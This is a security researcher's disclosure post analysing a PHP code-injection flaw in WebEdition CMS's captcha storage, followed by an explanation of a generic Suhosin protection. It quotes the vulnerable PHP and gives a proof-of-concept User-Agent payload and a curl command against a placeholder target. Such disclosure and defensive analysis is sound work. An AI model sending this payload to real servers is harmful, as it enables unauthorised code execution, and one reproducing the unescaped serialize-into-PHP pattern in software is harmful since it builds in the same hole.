WebEdition 6.3.8-s1 Captcha Remote Code Execution Vulnerability

A vulnerability in WebEdition CMS's captcha implementation allows remote code execution.

Introduction

/images/webedition.png

WebEdition CMS is an open source CMS written in PHP that seems to be mostly used by german websites. It came to our attention a few months ago, because another party performed an audit on it and came up with some vulnerabilities. Because we always look for nice PHP bugs for our own PHP and web security trainings we had a very quick look into it and were able to find a number of vulnerabilites that we disclosed to the vendor.

The most serious vulnerability that we discovered is a remote PHP code execution vulnerability that is exposed to attackers if a site uses the captcha functionality of WebEdition. We initially contacted the WebEdition CMS authors on 4th June 2014, but it took a week, several e-mails and a phone call to finally be able to disclose the vulnerability on 11th of June 2014. After that it took them until 10th of July 2014 to finally release WebEdition 6.3.8-s2 to fix this and a few other vulnerabilities.

Unfortunately the only way to get this security patch is to use their OnlineInstaller. It does not seem possible to download a tarball of the most recent version with the security patch. Instead the previous vulnerable version is offered as download. When we initially contacted them the same was true for the first security patch, which we criticized back then. However it seems the problem is still persisting.

While the developers waited about a month to push an update to fix the remote code execution problem, we already pushed a generic protection against this class of vulnerabilities to our Suhosin extension 0.9.36 which was released on 10th of June. So if you are running that version of Suhosin you were safe from this attack even before it was successfully disclosed to the developers.

In this post we will discuss this remote code execution vulnerability in WebEdition's captcha implementation and explain the generic protection that we pushed into Suhosin..

The Vulnerability

When you start looking for PHP vulnerabilities one of the first things you should do is search for calls to potentially dangerous functions. One of those notorious functions is unserialize(). It is one of my favourite PHP functions, because whenever it is filled with user input it will result in problems. We recently covered just another vulnerability in unserialize() in our blog that allowed for remote code execution. So when you do this search in WebEdition CMS you also will find a number of places where unserialize() is used. Here is an example from the CaptchaMemory class that is used to store the captcha codes for a specific visitor and for its later verification. It is defined in the file /we/include/we_classes/captcha/captchaMemory.class.php.

<?php

class CaptchaMemory{
  ...
  static function readData($file){
    if(file_exists($file . ".php")){
      include($file . ".php");
      if(isset($data)){
        return unserialize($data);
      }
    }
    return array();
  }
  ...
}

When you see code like the one above you will realize that a variable called $data is unserialized that is not defined inside the function itself. However you will also see an include statement just infront of it that includes another PHP file. This means whatever PHP file included has to define the $data variable. At this point we would normally go and check for two things.

  1. can we control the $file paramter?

  2. where are those files coming from?

To answer the first question we have to backtrack all calls to CaptchaMemory::readData(). Luckily there are only two such calls inside the code and they are both in different methods of the CaptchaMemory class. One call is in CaptchaMemory::save() and one call in CaptchaMemory::isValid(). However when you look at the code of these methods you will see that they are only forwarding the $file name from their own parameters as you can see here.

<?php

class CaptchaMemory {
  ...
  function isValid($captcha, $file){

    $returnValue = false;

    $items = self::readData($file);
    ...
}

This means we have to now backtrack all calls to these two methods. Again we are lucky because there are only two calls to those two methods. This time both hits are in the class Captcha, which is defines in /we/include/we_classes/captcha/captcha.class.php.

<?php

abstract class Captcha {

  static function display($image, $type = "gif") {
    ...
    // save the code to the memory
    CaptchaMemory::save($code, Captcha::getStorage());
  }

  ...
  static function check($captcha) {
    return CaptchaMemory::isValid($captcha, Captcha::getStorage());
  }

As you can see in both cases the filename used is coming from a method called Captcha::getStorage(). So lets have a look into that method to see if there is a way to control it.

<?php

static function getStorage() {
  return TEMP_PATH. 'captchacodes.tmp';
}

And this is the end of our backtrack. Unfortunately for us as attackers the filename returned and used for captcha storage is hardcoded into the code and cannot be influenced by us. Well actually this is not completely true, because there might be a problem in the definition of the TEMP_PATH constant and we would have to track down how it is constructed. But we ignore that possibility for now. This means we have evaluated the first way to abuse the unserialize and we have to see what is actually stored in these captcahcodes.tmp files.

Lets get back to the CaptchaMemory class. There is one interesting method called CaptchaMemory::writeData() that we should have a look into.

<?php

static function writeData($file, $data){
  if(count($data) < 1){
    if(file_exists($file . '.php')){
      weFile::delete($file . '.php');
    }
  } else{
    weFile::save($file . '.php', '<?php $data=\'' . serialize($data) . '\';', 'w+');
  }
}

This function takes whatever data is supplied and writes it into a PHP file of the form.

<?php $data='SERIALIZED_DATA';

This is potentially dangerous, because the serialized data might contain single quote characters that will break out of the PHP string context and therefore result in PHP code execution. We therefore have to backtrack all calls to CaptchaMemory::writeData(). We are again lucky, because this method is also only called in two places. The first hit is in CaptchaMemory::save() and the second one in CaptchaMemory::isValid(). Because we are more interested in the actual data that is stored in the file we will check the more obvious source CaptchaMemory::save().

<?php

function save($captcha, $file){
  $items = self::readData($file);

  // delete old items
  if(!empty($items)) {
    ...
  }

  $items[$captcha] = array(
    'time' => time() + 30 * 60,
    'ip' => $_SERVER['REMOTE_ADDR'],
    'agent' => $_SERVER['HTTP_USER_AGENT'],
  );
  self::writeData($file, $items);
}

The code reads the previously stored data from the file. Then goes through all the captchas and deletes the old ones and finally adds a new entry into the array that is then passed to CaptchaMemory::writeData() which will serialize the array and store it as PHP code in the temporary file.

When you look at the array that is serialized you will see the following three entries:

  1. time - just the current time plus 30 minutes

  2. ip - the ip of the client connecting to the webserver

  3. agent - the browser supplied user agent string

Taking this into consideration we can see that only the user agent string is arbitrary user input. The other options cannot be controlled in a way that they might result in an attack. However the user agent string can be completely controlled by a potential attacker.

Now imagine what happens if you set your browser's user agent string to the following:

User-Agent: '; phpinfo(); //

What will happen is that CaptchaMemory::writeData() will generate the following output file.

<?php $data='a:1:{s:5:"ABCDE";a:3:{s:4:"time";i:1409993554;s:2:"ip";s:9:"127.0.0.1";s:5:"agent";s:16:"'; phpinfo(); //";}}';

And if you look carefully you will see that this translates to:

<?php
  $data='a:1:{s:5:"ABCDE";a:3:{s:4:"time";i:1409993554;s:2:"ip";s:9:"127.0.0.1";s:5:"agent";s:16:"';
  phpinfo();
  //";}}';

This means remote code execution against the captcha can be trivially achieved by just using curl on the command line.

$ curl --user-agent "'; phpinfo(); //" http://www.target/

Generic Protection

When we saw this problem we decided that it would be a good time to add a generic protection against this kind of attack to Suhosin. Of course we cannot solve the problem that user input ends up in potentially dangerous functions in a generic way, but we can stop injections through the HTTP user agent. We do that by extending one of Suhosin's features to also cover the variable $_SERVER[HTTP_USER_AGENT].

The feature I am talking about is suhosin.server.strip which is activated by default. It is documented as follows in our documentation.

suhosin.server.strip

Type: Boolean

Default: On

Replace potentially dangerous characters in PHP_SELF, PATH_INFO, PATH_TRANSLATED and HTTP_USER_AGENT with '?'.

The idea behind this protection is that there are a number of characters like <, >, ', " and line breaks that under normal circumstances will never be found in the variables PHP_SELF, PATH_INFO, PATH_TRANSLATED or the HTTP_USER_AGENT. However these characters can end up in these variables and cause harm in case the PHP application developer did not expect them. This can then lead to problems like XSS through the PHP_SELF string or HTTP user agent or even worse to SQL injection or in our case even PHP remote code execution.

Suhosin therefore contains a very simple generic protection against these kind of problems: Whenever it sees one of these dangerous characters in PHP_SELF, PATH_INFO, PATH_TRANSLATED or the HTTP_USER_AGENT, it will just replace them with question marks '?'.

Stefan Esser